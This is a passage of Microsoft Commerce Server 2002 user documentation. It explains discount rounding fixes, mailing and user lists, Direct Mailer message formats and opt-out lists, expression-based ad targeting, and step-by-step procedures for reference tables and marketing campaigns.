Following are two approaches you can use to correct the rounding problem:

Approach 1:

Approach 1 applies the difference to the last discountable item in the items list:

If (CurrentItem = LastItemThatCanReceiveADiscount)

If (TotalDiscountApplied < AwardAmount)

ItemDiscount = (AwardAmount – TotalDiscountApplied)

Note

  • Since the values are truncated, the TotalDiscountApplied will always be <=AwardAmount.

Approach 2:

Approach 2 calculates the following:

  1. Calculate the lowest price based on the decimal places. For example, if decimal places is equal to two, then the lowest price possible is $0.01.
  2. Start adding the "lowest price" to the discounts of the items, starting with the most expensive item first. If two items have the same "most expensive price", award it to the item that has the "lowest basket index".
  3. Subtract this amount from the discount error.
  4. Repeat steps 2 and 3 until the discount error becomes zero (0).

The following shows how the discount of $25.00 is applied using Approach 1.

  • 2 shirts at $30.00 each
  • 2 pairs of pants at $50.00 each
  • 1 belt at $10.00

User Basket

Item | Unit Price | Discount | Adjusted Price
First shirt | 30.00 | 4.41 | 25.59
Second shirt | 30.00 | 4.41 | 25.59
First pair of pants | 50.00 | 7.35 | 42.65
Second pair of pants | 50.00 | 7.35 | 42.65
Belt | 10.00 | 1.48 | 8.52
Total | 170.00 | 25.00 | 145.00

In the above example, the belt is the last item that can receive a discount. Therefore, the extra $.01 (discount error) is added to the belt award for a total of $1.48 (1.47+.01), which brings the discount to the $25.00 total for the order.

The following is an additional example of how dollar off discounts are applied using Approach 1.

  • Buy anything
  • Get an order-level discount of $5.00

User Basket

Basket Index | Item | Unit Price | Discount | Adjusted Price
1 | Item 1 | 7.50 | 2.49 | 5.01
2 | Item 1 | 7.50 | 2.49 | 5.01
3 | Item 3 | 0.01 | 0.00 | 0.01
Total |  | 15.01 | 4.98 | 10.03

In this example, note that the sum of the discounts equals $4.98, rather than the total $5.00 discount for the order.

The following shows how the discount in the example above will be applied using Approach 1.

User Basket

Basket Index | Item | Unit Price | Discount | Adjusted Price
1 | Item 1 | 7.50 | 2.49 | 5.01
2 | Item 1 | 7.50 | 2.51 | 4.99
3 | Item 3 | 0.01 | 0.00 | 0.01
Total |  | 15.01 | 5.00 | 10.01

In the above example, Item 1 in Basket Index 2 is the last item that can receive a discount (Item 3 cannot be discounted by $0.02 because its price is only $0.01). Therefore, the extra $.02 (discount error) is added to Item 1 in Basket Index 2 for a total of $2.51, which brings the discount to the $5.00 total for the order.

Following are some inferences with using Approach 1:

  • Basket Indexes 1 and 2 contain the same Item number (with the same price). However, they have different discounts.
  • No discount is applied to Item 3.
  • Because Item 1 and Item 2 are the same price, if Item 1 is returned, do you refund the user $5.01 or $4.99?

The following shows how the discount in the example above will be applied using Approach 2.

User Basket

Basket Index | Item | Unit Price | Discount | Adjusted Price
1 | Item 1 | 7.50 | 2.50 | 5.00
2 | Item 1 | 7.50 | 2.50 | 5.00
3 | Item 3 | 0.01 | 0.00 | 0.01
Total |  | 15.01 | 5.00 | 10.01

The adjusted price of each item is recorded, and the user will receive the $5.00 discount. Both Items in Basket Index 1 and 2 receive the same discount, so if one of the Items is returned, the refund will be the same for both Items.

Note

  • In the above example, the OrderDiscountApply pipeline component is used to apply the discount. For information about the OrderDiscountApply component, see the "OrderDiscount" topic in the Commerce Server 2002 Help Programmer’s Reference.

See Also

Processing Discounts

Components of a Discount

Creating a Discount


Multilingual Discounts

If you want to use discounts in multiple languages, you must recreate each discount in the appropriate language. For information about creating a discount, see Creating a Discount.

Note

  • When creating discounts in multiple languages, note that the Discount name has a size limitation of 50 characters.

See Also

Creating a Discount

Discount Examples


User Lists and Mailing Lists

You use the List Manager module in Commerce Server Business Desk to import and export user lists and mailing lists. List Manager requires lists to have a specific format. For information about mailing list format, see Mailing Lists. For information about user list format, see User Lists.

  • Adding lists to List Manager. You can export a Commerce Server Analysis report as a list to List Manager. You can import a list that you created using another application, such as SQL Server (to create a SQL table), Notepad (to create an ASCII text file), Microsoft Excel (to create a spreadsheet), or Microsoft Outlook (to export a .pst file which contains a list of addresses) into List Manager.

    For example, if you have a list of addresses in a Microsoft Excel spreadsheet, you can use List Manager to import the list into Business Desk, and then use the list in a direct mail campaign. If you identify a list of users in an Analysis report, you can export the report results as a list to List Manager, and then use the list in a direct mail campaign. For information about creating mailing lists, see Creating a Mailing List.

    For information about importing a list into List Manager, see Importing and Exporting Lists. For information about exporting a Commerce Server Analysis report to List Manager, see Exporting a Static Report.

  • Using lists from List Manager. You can update your user profiles using a user list from the List Manager module. For example, you run the Commerce Server Customer Sales report to identify users who buy the most products, and then export the report as a list to List Manager. Then in the Users module you update the user profiles in the list by assigning a special value a profile property in the user profiles. You use that value to target specific ads or discount campaigns to the users whose profiles you have modified. For information about using lists in the Users module, see Finding User Profiles in a Mailing List. For information about modifying multiple user profiles, see Editing Multiple User Profiles.

    You can also export the list to another application. For example, you can export a list generated from an Analysis report to a Microsoft Excel spreadsheet. For information about exporting a list to a file, see Importing and Exporting Lists.

This section contains:

  • Mailing Lists
  • User Lists
  • Generic Lists
  • Dynamic Lists and Static Lists


Mailing Lists

Mailing lists contain rows of e-mail addresses for a direct mail campaign. Each row in the list represents a single recipient and contains the following elements in a comma-delimited format.

Element | Description
E-mail address | Name or name@domain.
GUID | Globally unique identifier. The user ID that will be used to provide content in a personalized e-mail message.
Message format Controls the message format type that the Collaboration Data Object (CDO) translates the results into. The supported values are:
  • Text (1)
  • MIME (2)
  • MHTML (3)

For information about message formats, see Message Formats.
Language | The codepage values that are used in Direct Mail lists, such as US-ASCII, and ISO-8859-1.
URL | Provides the ability to pass individual URLs per user to CDO.

You can create a list using a text editor, such as Notepad. You can add a mailing list to Business Desk by using the List Manager module to import ASCII text files, files from Microsoft Excel or Microsoft Outlook, or tables from SQL Server databases. For information about creating mailing lists, see Creating a Mailing List.

For information about importing mailing lists for a direct mail campaign, see Importing a Mailing List.

See Also

Creating a Mailing List

Importing a Mailing List

Managing Lists of User Records

User Lists

Generic Lists


User Lists

User lists contain rows of user IDs and optionally, other user profile properties. A user list is any list with an rcp_guid column. You can use user lists from the List Manager module to perform bulk updates on the properties for specific users in the Users module. In the Users module you update the user profiles in the list by assigning a special value to a profile property. You can then use that value to target specific ads or discount campaigns to the users whose profiles you have modified.

For example, you can import a list from the Segment Viewer module and set a property in the user profile for each user to indicate their membership in a particular segment. You can then use this information to target ads and discounts to that specified user segment.

See Also

Creating a Mailing List

Importing a Mailing List

Finding User Profiles in a Mailing List

Importing and Exporting Lists

Managing Lists of User Records

Generic Lists


Generic Lists

Unlike user lists and mailing lists, generic lists do not have content requirements. To use generic lists, a site developer must customize your application.

Generic lists can contain anything, and they can include headers, as in the following example:

ProductID | ProductName | Unit
1 | Socks | 100
2 | Shirts | 20

You may want to use generic lists to set product properties. You run the Commerce Server Product Sales report to identify the most popular products (in terms of sales) on your Web site. You then use the List Manager module to import the result of this report as a list of products, and use the Catalog Editor module to set a property on these products that identifies them as strong sellers. You can then use this property to create target expressions, or to increase the price of these products by five percent.

Another way you can use generic lists is to mail coupons to your frequent online users for use in your brick-and-mortar store. You can do this by running a report to analyze user purchases, exporting the results of the report as a list that includes the mailing addresses, and then using List Manager to export this list for use in a labeling application.

See Also

Mailing Lists

User Lists

Importing and Exporting Lists

Managing Lists of User Records


Dynamic Lists and Static Lists

User lists, mailing lists, and generic lists can be either dynamic or static.

  • Dynamic lists are created at run time; for example, when the list is being exported from List Manager for use in a direct mail campaign. Each time the list is requested, List Manager gathers the most recent data in the Data Warehouse. Only the information needed to create the list is stored in the database used by List Manager. Use dynamic lists for direct mail campaigns that you will run frequently, or for lists of recipients that are updated frequently.
  • Static lists are created immediately upon request, and then stored in the database used by List Manager. Use static lists for direct mail campaigns that you run infrequently, or for lists of recipients that do not change often.

See Also

Importing and Exporting Lists

Managing Lists of User Records

Creating a Mailing List


Direct Mail

You create direct mail to distribute e-mail message ads to a targeted group of users. The objective is to achieve a high response rate from the mailings. You can send personalized e-mail messages from a Web page, or non-personalized messages from a flat text file. You can create direct mail messages that include attachments, such as pictures, discounts, or URLs. The Direct Mail service is designed to send bulk personalized e-mail messages to millions of users.

You use the Campaign Manager module in Business Desk to set up direct mail. Direct mail is processed by the Direct Mailer service, a powerful engine that can send a large volume of e-mail very quickly.

To create direct mail, you perform the following steps:

  • Create the message. To create personalized e-mail messages your site developer must first create ASP pages with the personalized text, and then add them to the Web server. The site developer must give you the URL for the location of the ASP pages. To create a non-personalized message, you can type the text in a flat text file using a text editor such as Notepad.
  • Generate a list of recipients. You can generate a list of recipients for the direct mail campaign using the powerful analysis tools in Commerce Server. For example, using the Reports module in Business Desk, you can run a report against the data in the Data Warehouse to obtain a list of specific users. You can then export the resulting list to List Manager. Or, you can use the Predictor resource to generate a list of users in a population segment, and then export that list of users to List Manager. After a list has been exported to List Manager, it is available to Direct Mailer.

    You cannot use target groups to send direct mail directly to user e-mail addresses.

  • Create and schedule the direct mail campaign. Use the Campaign Manager module to specify the name of the campaign, the name of the list of recipients, the start time and date of the campaign item, and the URL (for personalized messages) or static file where Direct Mailer will receive the message body.

For more information about adding direct mail, see Creating Direct Mail.

This section contains:

  • Message Formats
  • Opt-Out Lists
  • Processing Direct Mail


Message Formats

There are multiple methods of developing content in which to send your direct mail message. The message format controls the type of format into which the Collaboration Data Object (CDO) translates the results. Direct Mailer supports three types of message formats: text, MIME, and MHTML.

  • Text. Formats the mail in ASCII format.
  • MIME (Multipurpose Internet Mail Extensions). An official Internet standard that specifies how messages must be formatted so that they can be exchanged between different e-mail systems. MIME is a flexible format, which extends the Simple Mail Transfer Protocol (SMTP) to permit data, such as video, sound, and binary files to be transmitted by Internet e-mail without having to be translated into ASCII format first.
  • MHTML (MIME Encapsulation of Aggregate HTML Documents). Sends portions of a Web page or an entire Web page as a message. The message can include all or portions of the HTML formatting, graphics, and other elements contained in the original Web page.
MHTML builds on top of MIME to provide a more flexible communication of HTML documents. The message can include other linked documents in a MIME multipart/related body part. Links in the HTML to other included parts can be provided by CID (Content-ID) URLs or by any other type of URL. The linked body part is identified in its heading by either a Content-ID (linked to by CID URLs) or a Content-Location (linked to by any other type of URL).

If you want to prevent the Direct Mailer service from formatting e-mail as MHTML, and strictly send the HTML output of the ASP page without any change in the e-mail, see the Direct Mailer ComposeDMLMessage component in the "Compose e-mail" stage of the DMLPipe.pcf file at <drive letter>: \Program Files\Microsoft Commerce Server 2002. The ComposeDMLMessage component is responsible for formatting the message body.

The following examples display e-mail messages for the three message formats (text, MIME, and MHTML) when they encounter HTML content for the following ASP page:

<html>

<body>

<h1>SPRING SALE !!!</h1>

<img src=http://<server name>/SKY.JPG height=100 width=100 />

</body>

</html>

Note

  • The following screenshots are from Outlook Express. They may look different in other e-mail clients.

The following figure shows a message that was sent using the text message format. It strips all of the HTML objects, and only sends the text.

Text message format

The following figure shows a message that was sent using the MIME message format. It encodes the HTML objects in MIME format, retrieves the SKY.jpg image from the location in the ASP page, and adds it as an attachment. The message only contains the text message.

Mime message format

The following figure shows a message that was sent using the message format MHTML. It encodes the HTML objects as images in MHTML format, and retrieves the SKY.jpg image from the location in the ASP page. It encodes the image in BASE-64, and gives the image a CID, to which it internally links the image SRC attribute.

MHTML message format

Important

  • The three message formats (text, MIME, and MHTML) that are available in Business Desk when you create your direct mail campaign are the default values, and are only used if the user-specific e-mail format is NULL. If a user specific e-mail format was specified when you created or imported the mailing list, the user-specific format will be used when sending the direct mail.

See Also

About Campaigns

Direct Mail

Creating Direct Mail

Adding Direct Mail Properties

Managing Lists of User Records


Opt-Out Lists

Direct Mailer supports an opt-out feature. For direct mail jobs running as part of a campaign item, individual recipients can request to opt out of a direct mail campaign item. The opt-out Active Server Pages (ASP) page is designed to allow users to add themselves to an opt-out list.

The sample opt-out ASP page is used in conjunction with the sample ServiceReminder ASP page, which is used to create Direct Mailer content. When implemented, this ASP page will send out personalized e-mail messages reminding each of your users to come to your Web site to view new products. The ASP page also includes an opt-out link if the users want to be removed from your mailing list.

The developer that authors the ASP page for the Direct Mailer jobs can provide links to an opt-out.asp page, which the recipient can use to either opt out from all site mailings or from the direct mail campaign item by clicking the appropriate link. When a Direct Mailer job running as part of a campaign item is run, Direct Mailer checks for the presence of the site level opt-out list and the campaign item-level opt-out list. If either list exists, they are subtracted from the original mailing list and the resulting list acts as the new mailing list.

See Also

About Campaigns

Direct Mail

Creating Direct Mail


Processing Direct Mail

Direct Mailer supplies a command line interface that you use to create, run, monitor, and delete Direct Mailer jobs, as well as perform job startup and recovery tasks. To configure properties on Direct Mailer, you use Commerce Server Manager.

Direct Mailer performs the following tasks:

  • Sends e-mail messages to recipients.
  • Manages recurring e-mail messages as Direct Mailer jobs.
  • Prepares non-personalized message bodies from a flat text file.
  • Generates personalized messages from an ASP page.
  • Formats e-mail message headers.
  • Sets the codepage value (value that is used in Direct Mail lists such as US-ASCII, and ISO-8859-1), and converts message bodies to the correct message type: text, Multipurpose Internet Mail Extensions (MIME), or MIME Encapsulation of Aggregate HTML Documents (MHTML).
  • Quickly processes large lists of recipients to whom you want to send e-mail messages.
  • Makes file attachments possible.

The Direct Mailer pipeline is used to process lists of recipients. You can add new components to the pipeline, integrate the components with line-of-business systems, or replace them with components supplied by third parties.

See Also

About Campaigns

Direct Mail

Creating Direct Mail

Managing Lists of User Records


Targeting and Personalization

Targeting and personalization is the process of delivering personalized content to one or more users, or to any other business entity that has a profile. For example, if you are running a sports Web site, you may want to deliver tennis-related information only to tennis players, or to users who are interested in tennis. You may want to deliver announcements about upcoming tennis tournaments, or advertisements and promotions for tennis products.

You can use Commerce Server 2002 to perform two types of targeting:

  • Expression-based targeting. Also known as explicit targeting. This is used when you know the profile properties of the users to whom you are delivering content, or you know the context, and you know what content is to be delivered. You use the Campaigns modules in Commerce Server Business Desk to specify this information and deliver the content to the user.
  • Prediction. Also known as implicit targeting. This is used when you do not know all the necessary profile properties to target the user, or you do not have specific content to deliver. You use the Commerce Server Predictor resource to extrapolate this information from existing user data so that you can deliver content of interest to each user. For conceptual information about prediction, see Prediction and Data Mining Concepts.

Both expression-based targeting and prediction improve your ability to deliver content that may be of interest to the users who receive it. Expression-based targeting improves your ability to deliver content that may be of interest to the users who receive it. Users are more likely to return to your site when they can expect to receive a personalized experience.

This section contains:

  • Using Targeting Methods in Web Site Management
  • Expression-based Targeting
  • The Expression Builder
  • Processing Expressions


Using Targeting Methods in Web Site Management

You can target content to any business-related item that has a profile. For example, you can target content to anonymous users, registered users, companies, or contexts. For conceptual information about profiles, see About Profiles.

You use Business Desk to target content to business-related items. For example, you can do the following:

  • Create a direct mail campaign that delivers personalized e-mail messages to users.
  • Deliver content such as advertisements to users based on certain user profile properties. For example, you might display advertisements for bicycles to users who have their Favorite Sport property set to "Biking."
  • Identify groups of Web pages, and then target content to be displayed only on those pages, or only when users with specific properties access those pages.
  • Display content on a page based on the properties of other content on the page. For example, if your Web site provides news, you can assign profiles to the content specifying whether Weather_Type property is "Hot" or "Cold." If Weather_Type = Hot, you can display an advertisement for air conditioners.
  • Apply discounts to certain products in your catalog, based on characteristics of the product itself, or based on the user profile.
  • Choose when to display a discount and when the discount is to be applied to the order. For example, you can apply the discount when users put the item in their basket or when they check out.

See Also

Expression-based Targeting

The Expression Builder

Processing Expressions


Expression-based Targeting

Expression-based targeting is the process of creating expressions that define the users or context you want to target and the content you want to deliver. An expression is a condition that is evaluated against profiles to determine whether to deliver content, or perform another action. For example, an expression might be user.totalvisit > 100. If this expression evaluates to "True," then a specific piece of content is displayed to the user.

You use the Campaigns modules in Business Desk to create expressions, and then combine the expressions with the action you want to perform after the expression is evaluated. You can create two types of expressions:

  • Target expressions. Identify where, when, and to whom content should be displayed. For example, you can target content to users who have specific profile properties. You can also target content to specific sections of a Web site, called page groups. For example, you can create a target expression that will display certain ads only on sports pages.
  • Catalog expressions. Specify the products in a catalog to which a discount can be applied. For example, a catalog expression might be Product.price = 20.00. If this expression is "True" for a particular product, then a discount of 10 percent is applied to the price of that product when users add it to their shopping baskets.

Target Groups

After you have created target expressions, you can combine them to form a target group. A target group is a collection of expressions and actions. For example, you might create one expression to show a specific piece of content to users who have visited the site ten times, and another expression to show content to users who have purchased a soccer shirt. You can combine the two expressions in a target group with AND or OR statements. For example:

If the user has visited the site ten times AND the user has purchased a soccer shirt, display an ad for a soccer product.

In a target group you combine expressions by specifying the action to be taken when each expression evaluates to "True." Each action has two multipliers: a multiplier to apply if the expression is true, and a multiplier to apply if the expression is false. When the multiplier is applied, the expression is given a score, which affects whether the content is eligible for delivery. You can specify the following actions:

  • Target. If the expression evaluates to "True," the score is increased, as is the probability that the content will be shown. If the expression evaluates to "False," the score is not changed. In both scenarios, the content is eligible for delivery.
  • Require. If the expression evaluates to "True," the content is eligible for delivery; if it is "False," the content is not eligible for delivery.
  • Exclude. If the expression evaluates to "True," the content is not eligible for delivery; if it is "False," the content is eligible for delivery.
  • Sponsor. If the expression evaluates to "True," the content is eligible for delivery and no other content is eligible unless it too has an expression with action = Sponsor. (Sponsor has only one multiplier.) For example, if Microsoft sponsors an ad on a home page, only Microsoft ads are displayed; however, if there are more ads from other companies sponsoring the home page, those ads would also be eligible for display.

A site developer can change the values of the multipliers provided with Commerce Server. You may want to do this to give expressions with one action type a higher priority than expressions with a different action type.

See Also

Using Targeting Methods in Web Site Management

The Expression Builder

Processing Expressions


The Expression Builder

The Commerce Server feature that enables business managers to create, edit, and view expressions is called the Expression Builder. The Expression Builder provides the user interface for building expressions. It accesses the appropriate properties for building an expression, and it names and stores the expression in the Commerce Server databases.

The Expression Builder is designed so that site developers can easily embed its functionality and user interface in other Business Desk modules. In addition, it can be invoked by any Web application that uses and manipulates expressions, enabling you to integrate it with other processes. For example, if you have an existing content management process, you can incorporate Expression Builder functionality, and then target content to users.

To create applications that use the Expression Builder, you do the following:

  • Define profiles. You specify which profiles the expression should use, and the Expression Builder loads those profile definitions for constructing the expression. You can also specify a profile properties filter to limit the properties in the profile that will be available to an Expression Builder user.
  • Save expressions. You can specify the expression/profile store to use, and the Expression Builder loads and saves expressions in that database.
  • Display messages to users. You can customize the messages that are displayed in the Expression Builder user interface. For example, the default title message is "Create an expression," but for your implementation, you might change it to "Create an Ad-Targeting Expression."

The Expression Builder uses Dynamic Hypertext Markup Language (DHTML) for its user interface, so the style sheets of the application will apply to the Expression Builder user interface, giving your application a consistent look and feel.

See Also

Expression-based Targeting

Using Targeting Methods in Web Site Management

Processing Expressions


Processing Expressions

Commerce Server performs several steps to specify the piece of content that is to be shown to a user. The following components are used in the process:

  • ExpressionEval. This Component Object Model (COM) object takes the expression and user data as input, and then processes the expression to determine whether it evaluates to "True" or "False."
  • Content Selection Framework (CSF). This platform-level framework includes a set of components and pipelines (the Content Selection Pipeline and the Event Processing Pipeline) that determines the action to be performed as a result of the expression.

The following figure shows how target expressions, catalog expressions, user data, and context data are input into the Expression Evaluator, which results in True, False, or undefined results. The result is input to the CSF, which then determines the action to perform.

A figure that shows how target expressions, catalog expressions, and user and context data are input into the Expression Evaluator.

See Also

About Profiles

Creating Campaign Expressions

Creating a Catalog Expression

Creating a Target Expression

Creating a Target Group


Best Practices and Tips for Campaigns

This topic lists the best practices and tips for creating and managing your campaigns.

This section contains:

  • Best Practices for Campaigns
  • Tips for Campaigns


Best Practices for Campaigns

The following are recommendations for creating and managing your campaigns.

Best practices for ads

Best practices for discounts

Best practices for ads

  • Use the Content Select Framework (CSF) default settings.

    Do not change the default settings of the CSF components, unless your business policies demand the change.

  • Try to use page groups whenever possible in the place of target expressions.

    Expression evaluation is more time consuming than page group elimination.

Best practices for discounts

  • Every discount on the site should be given a different priority.

    Giving a different priority to every discount on the site allows the business manager to determine when any given discount will be applied. If more than one discount has the same priority, the system uses its internal algorithm to determine which discounts to apply. Although this method is consistent, it is not easily predictable, and may not be what the business manager wants.

  • Determine what is expected of a discount before creating it.

    It is important to understand the results you expect from each discount before you create it. Creating a discount is a complex procedure, and the results are dependent on each of the discount components, such as priority, condition, award, and discount interaction policies.

  • Read the documentation for discounts thoroughly, before running your discounts on your site.
  • Preview your discounts on a staging server, before you put your discounts into production.

    Because there are numerous discount scenarios, and you cannot anticipate what users will put in their baskets, it is recommended that you create your discounts on a staging server so you can test your discount scenarios before you put your discounts into production.

  • Avoid saving all discounts (orderform)._discounts as part of the order form.

    The ContentList object is not designed for bulk serialization, and therefore, saving all discounts (orderform)._discounts as part of the order form may lead to a performance penalty.


Tips for Campaigns

The following are tips for creating and managing your campaigns.

Tips for direct mail campaigns

Tips for ads

Tips for campaign expressions

Tips for discounts

Tips for importing and exporting lists

Tips for publishing campaigns

Tips for direct mail campaigns

  • Before you create a direct mail campaign, ensure that SQL Server Agent is running.

    If SQL Server Agent is not running, you will not be able to save your direct mail campaign. For information about running SQL Server Agent, contact your system administrator.

  • If SQL Server Agent is stopped while a scheduled Direct Mailer job is running, the Direct Mailer job will stop running and cannot be restarted.

    When a scheduled job is stopped in this way, there is no indication that the job has failed. You must restart SQL Server Agent, and then restart the Direct Mailer job.

Tips for ads

  • Before you can target an ad to a page group, your site developer must add the necessary code to enable the ad to display on the page.

    For information about enabling ads to display on a page, see the Ad Sitelet sample in the Commerce Server 2002 Software Development Kit.

Tips for campaign expressions

  • In campaign expressions, use a semi-colon (;) to separate multiple values.

    Do not use a comma, because the comma is not recognized as a separator. For example, a list of numbers would be input as 2,534; 3,485; 6,982. The escape character for a literal semi-colon is a backslash (\). For example, a value such as ABC;12 would be input as ABC\;12.

Tips for discounts

  • If you want to specify a limit on the number of awards a user can receive on multiple baskets, contact your site developer.

Tips for importing and exporting lists

  • When you specify the path of a file that you are importing or exporting, (for example, <drive letter>:\<filename.txt>) the <drive letter> refers to the server computer (not the client computer).
  • Only a mailable list (one that contains an rcp_email column) can be exported to a file.
  • If exporting your list fails, consult the Windows NT Event Log on the Business Desk Server computer.

    The Event log lists detailed information about the failure, or contact your system administrator for more information.

  • To sort or search for specific records in a list exported to a comma-separated value (CSV) file, you can open the file in any application that has sorting and searching capabilities.

Tips for publishing campaigns

  • If you do not have the appropriate permissions or experience database connectivity problems, the site will not be updated to include the new campaign item(s).

    In addition, publishing a campaign requires an ASP called BDRefresh.asp that must exist in the root directory of the site on each Web server. Contact your system administrator if you cannot update your site.


Setting Up Your Reference Tables

By setting up your reference tables, you can accurately reflect your business model. The reference tables maintain valid advertising industry codes, page groups, and content sizes. If a page group used by a campaign item is not validated against the page groups in the reference tables, the campaign item will not be put into production.

You can use the Reference Tables module to add industry codes, page groups, and content sizes in addition to those provided by Commerce Server 2002. You can also delete industry codes, page groups, and content sizes that you do not use.

This section contains:

  • Specifying Content Sizes
  • Adding Industry Codes
  • Adding Page Groups


Specifying Content Sizes

You can specify the size you want for your campaign item content. Commerce Server 2002 provides several default content sizes. The content sizes are taken from a list of commonly used sizes approved by the Standards and Practices Committee of the Internet Advertising Bureau (IAB). Content sizes are validated through the Content Size section in the Reference Tables module.

The content sizes in the reference tables are available when you select the size you want for your campaign item content. You can view, edit, and delete any of the predefined sizes, or you can create a new content size to fit your needs.

To specify a content size

  1. In Campaigns, click Reference Tables.
  2. In the Reference Tables screen, in the Content Sizes section, click New, and then do the following:
    Use this | To do this
    Tag Type the Tag name.

    A Tag is a parameter value to be passed into a content request on a page that specifies how the document, or a portion of the document should be formatted.
    Name | Type a name for the new content size.
    Width | Type the content size width (in pixels).
    Height | Type the content size height (in pixels).
  3. Click Accept.

    The new content size is added to the content size list. Content size items appear in the list in alphabetical order by the Tag attribute.

  4. To save the new content size and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new content size is saved and is now available when you select content sizes for campaign items.

See Also

Sizing an Ad

Sizing a Discount

Creating an Ad

Creating a Discount

Specifying Content Sizes

Specifying the Ad Display


Adding Industry Codes

Industry codes provide a definition type for industries, for example, automotive, aviation, and beverage. You use industry codes to identify the associated industry of an ad, thus preventing two ads from competing companies in the same industry from appearing on the same page. You can also update industry codes; for example, you can add beverage codes for coffee and soft drinks so that ads for these different types of beverages can appear on the same page.

Commerce Server provides several popular industry codes for your use. The industry codes used in ads are validated through the Industry Codes section in the Reference Tables module. The industry codes in the reference tables are available when you select the industry code for an ad. You can view a list of all current industry codes, add new industry codes, edit industry codes, and delete industry codes from the Industry Code section in the Reference Tables module.

To create an industry code

  1. In Campaigns, click Reference Tables.
  2. In the Reference Tables screen, in the Industry Codes section, click New, and then do the following:
    Use this | To do this
    Industry Code | Type a name for the new industry code.
  3. Click Accept.

    The new industry code is added to the industry code list in alphabetical order.

  4. To save the new industry code and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new industry code is saved and is available when you select industry codes for campaign items.

See Also

Creating an Ad

Reference Tables


Adding Page Groups

You use page groups to specify the pages on which your ads appear on your Web site. Using page groups, you can place targeted ads on all pages of your site, or only on one particular page. For example, a News site might have a Sports page group to which you would target sports-related ads. Additionally, you can charge advertisers different rates based on the page group on which they advertise. Page groups are validated using the Page Groups section in the Reference Tables module.

The page groups in the reference tables are available when you select the page on which you want a campaign item to appear. Once the page group used by the campaign item is validated against the Page Group property, the campaign item can be put into production. You can view a list of all current page groups, add new page groups, edit page groups, and delete page groups from the Page Group section in the Reference Tables module.

Note

  • Before you can target an ad to a page group, your site developer must add the necessary code to enable the ad to display on the page. For information about enabling ads to display on a page, see the Ad Sitelet sample in the Commerce Server 2002 Software Development Kit.

To add a page group

  1. In Campaigns, click Reference Tables.
  2. In the Reference Tables screen, in the Page Groups section, click New, and then do the following:
    Use this | To do this
    Page Group | Type a name for the new page group.
    Description | Type a description for the page group.
  3. Click Accept.

    The new page group is added to the Page Group list in alphabetical order.

  4. To save the new page group and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new page group is saved and is available when you select page groups for your campaign items.

See Also

Reference Tables

Targeting an Ad to a Page Group


Creating a Marketing Campaign

A marketing campaign uses different types of communication vehicles (for example, ads and direct mail) to accomplish a specific result, such as increasing marketing share, introducing new products, or retaining customers. A marketing campaign represents one or more contracts or orders from a customer. Each customer may have multiple campaigns such as a brand awareness campaign and a customer loyalty campaign. Each campaign may include multiple campaign items such as ads, discounts, or direct mailings. You use the Campaign Manager module to create and manage customers, campaigns, and campaign items.

To create a marketing campaign, you first add the customer to the Campaign Manager module. In Campaign Manager, you then create a campaign for your customer, for example, a brand awareness campaign. You goal your campaign, which determines the number of ads you want to deliver in a specified amount of time. After you have created a campaign, you can create one or more campaign items, and then specify your ad display. After you have defined the ad display, you can preview the ad before sending it to production.

The following figure illustrates a sample scenario for creating a marketing campaign, and then publishing the campaign on your Web site.

Create a Marketing Campaign scenario Publishing Campaign Changes on your WebsiteAdding a Campaign ItemGoaling a CampaignAdding a CampaignAdding a Customer
  1. In the Campaign Manager module, add a new customer (such as Arbor Shoes).
  2. In the Campaign Manager module, add a new campaign (such as Fall Season sale).
  3. Schedule the campaign (for example, by campaign-level goaling).
  4. Create an ad, (such as summer sandals).
  5. In the Publish Campaigns module, update your site with the new advertisement.

This section contains:

  • Adding a Customer
  • Adding a Campaign
  • Adding a Campaign Item


Adding a Customer

To create a campaign, you must first add information about the customer who owns the campaign. Each customer may have multiple campaigns representing a different marketing program. For example, a customer might have a fall season sale, a new product campaign, and a spring discount sale. Each campaign may have multiple campaign items such as ads, discounts, and direct mailings.

You can use the Campaign Manager module to add customers, modify customer properties, and delete customers.

To add a new customer

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Add on the toolbar, and then select New Customer from the drop-down list.
  3. In the Campaign Manager - New (customer) screen, in the Customer Properties section, do the following:
    Use this | To do this
    Name | Type the name of the customer.
    Address | Type the address for the customer, including street address, city, state, zip code or postal code, and country/region.
    Type Select the type of relationship you have with the customer from the drop-down list. The types of relationships are:
    • Self
    • Advertiser
    • Agency
    URL | Type the URL associated with the customer.
    Industry Select the industry for the customer.

    Industry codes are created using the Reference Tables module. For information, see Setting Up Your Reference Tables.

    Deleted This is a non-editable box.

    This box specifies if the customer has been deleted. For information about deleting and restoring customers, see Deleting and Restoring a Customer.
    Comments | Type any necessary comments about the customer.
  4. In the Contact Information section, do the following:
    Use this | To do this
    Contact | Type the contact information for the customer.
    Email | Type the e-mail address for the contact.
    Phone | Type the phone number for the contact.
    Fax | Type the fax number for the contact.
  5. To save the customer information and return to the Campaign Manager screen, click Save and go back on the toolbar.

The customer information is saved. You can now add a campaign for the customer.

See Also

Workflow for Campaign Management

About Campaigns

Adding a Campaign


Adding a Campaign

After you add customer information, you can add a campaign for the customer. Each customer can have multiple campaigns. For example, a customer might have both a brand awareness campaign and a customer loyalty campaign. You use the Campaign Manager module to add the campaign and its properties for a specific customer. You goal the campaign to determine the number of ads to deliver and the amount of time in which you want to deliver them. You can also use the Campaign Manager module to copy a campaign, edit campaign properties, locate a campaign, and delete and restore a campaign.

This section contains:

  • Adding Campaign Properties
  • Goaling a Campaign


Adding Campaign Properties

You use the Campaign Manager module to add campaign properties, such as the campaign name, and the start and end dates of the campaign. You also establish the status of the campaign by making it either active or inactive.

To add campaign properties

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the customer for whom you want to create a new campaign, click Add on the toolbar, and then select New Campaign from the drop-down list.
  3. In the Campaign Manager <Customer> New (campaign) screen, in the Campaign Properties section, do the following:
    Use this | To do this
    Campaign name | Type the name of the new campaign.
    Start date | Select the campaign start date from the drop-down calendar.
    End date Select the campaign end date from the drop-down calendar.

    Campaign dates are used as default dates for campaign item dates. However, campaign item dates override campaign dates. A campaign item date may be set to extend past the dates for the campaign.
    Status | Select the campaign status from the drop-down list. The status can be either Active or Inactive.
    Deleted This is a non-editable box.

    This box specifies if the campaign has been deleted. For information about deleting and restoring campaigns, see Deleting and Restoring a Campaign.
    Comments | Type any necessary comments about the campaign.

The campaign properties are created.

To determine the number of ads to deliver and the amount of time in which you want to deliver them, you goal the campaign by campaign-level or advertising item-level goaling. For information about goaling a campaign, see Goaling a Campaign.

See Also
